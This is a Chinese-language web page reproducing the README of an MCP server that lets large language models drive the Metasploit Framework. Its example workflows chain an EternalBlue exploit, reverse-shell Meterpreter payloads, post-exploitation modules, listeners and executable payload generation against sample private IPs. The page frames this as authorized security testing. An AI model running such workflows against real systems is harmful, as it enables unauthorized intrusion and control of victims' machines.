首页/安全/MetasploitMCP

MetasploitMCP

查看源码
2025-5-12
Words 1095Read Time 3 min
Score:85

提供Metasploit框架与大语言模型的桥梁,实现自然语言控制安全测试工作流。

Python

Metasploit MCP Server

一个用于 Metasploit Framework 集成的模型上下文协议(Model Context Protocol, MCP)服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

项目描述

该 MCP 服务器为大型语言模型(如 Claude)与 Metasploit Framework 渗透测试平台之间搭建了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能,从而为复杂的安全测试工作流提供自然语言接口。

功能特性

模块信息

  • list_exploits: 搜索并列出可用的 Metasploit 漏洞利用模块
  • list_payloads: 搜索并列出可用的 Metasploit 载荷模块,支持按平台和架构进行过滤

漏洞利用工作流

  • run_exploit: 配置并针对目标执行漏洞利用,支持先运行检查
  • run_auxiliary_module: 使用自定义选项运行任何 Metasploit 辅助模块
  • run_post_module: 针对现有会话执行后渗透模块

载荷生成

  • generate_payload: 使用 Metasploit RPC 生成载荷文件(文件保存在本地)

会话管理

  • list_active_sessions: 显示当前 Metasploit 会话及其详细信息
  • send_session_command: 在活动的 shell 或 Meterpreter 会话中运行命令
  • terminate_session: 强制终止活动会话

监听器管理

  • list_listeners: 显示所有活动的监听器和后台任务
  • start_listener: 创建新的 multi/handler 以接收连接
  • stop_job: 终止任何正在运行的任务或监听器

环境要求

  • 已安装 Metasploit Framework 并运行 msfrpcd
  • Python 3.10 或更高版本
  • 所需的 Python 包(参见 requirements.txt

安装步骤

  1. 克隆本仓库
  1. 安装依赖:
    1. 配置环境变量(可选):

      使用方法

      启动 Metasploit RPC 服务:

      传输选项

      服务器支持两种传输方式:
      • HTTP/SSE (Server-Sent Events): 默认模式,适用于大多数 MCP 客户端
      • STDIO (Standard Input/Output): 用于 Claude Desktop 等直接管道连接
      可以通过 --transport 标志显式选择传输模式:
      HTTP 模式的额外选项:

      Claude Desktop 集成

      为 Claude Desktop 集成配置 claude_desktop_config.json

      其他 MCP 客户端

      对于使用 HTTP/SSE 的其他 MCP 客户端:
      1. 以 HTTP 模式启动服务器:
        1. 配置您的 MCP 客户端连接到:
            • SSE 端点: http://your-server-ip:8085/sse

        安全注意事项

        ⚠️ 重要安全警告
        该工具提供了对 Metasploit Framework 功能的直接访问,其中包括强大的漏洞利用功能。请负责任地使用,并仅在您有明确权限进行安全测试的环境中操作。
        • 始终在执行前验证和审查所有命令
        • 仅在隔离的测试环境或获得适当授权的情况下运行
        • 注意后渗透命令可能导致系统发生重大修改

        示例工作流

        基本漏洞利用

        1. 列出可用漏洞利用模块:list_exploits("ms17_010")
        1. 选择并运行漏洞利用:run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
        1. 列出会话:list_active_sessions()
        1. 运行命令:send_session_command(1, "whoami")

        后渗透

        1. 运行后渗透模块:run_post_module("windows/gather/enum_logged_on_users", 1)
        1. 发送自定义命令:send_session_command(1, "sysinfo")
        1. 完成后终止会话:terminate_session(1)

        监听器管理

        1. 启动监听器:start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
        1. 列出活动监听器:list_listeners()
        1. 生成载荷:generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
        1. 停止监听器:stop_job(1)

        配置选项

        载荷保存目录

        默认情况下,使用 generate_payload 生成的载荷会保存到主目录下的 payloads 文件夹中(~/payloadsC:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量自定义保存路径。
        设置环境变量:
        • Windows (PowerShell):
          • Windows (Command Prompt):
            • Linux/macOS:
              • 在 Claude Desktop 配置中:
                注意: 如果指定了自定义路径,请确保路径存在或应用程序有权限创建该路径。如果路径无效,载荷生成可能会失败。

                许可证

                Apache 2.0
                上一篇
                mcp-gitee
                下一篇
                Solana-MCP